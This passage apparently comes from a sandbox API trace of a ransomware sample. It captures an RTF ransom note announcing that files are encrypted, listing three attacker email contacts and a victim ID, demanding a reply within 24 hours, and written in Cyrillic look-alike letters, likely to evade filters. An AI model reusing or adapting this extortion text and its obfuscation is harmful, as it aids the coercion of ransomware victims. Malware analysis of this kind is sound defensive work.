nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.960] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 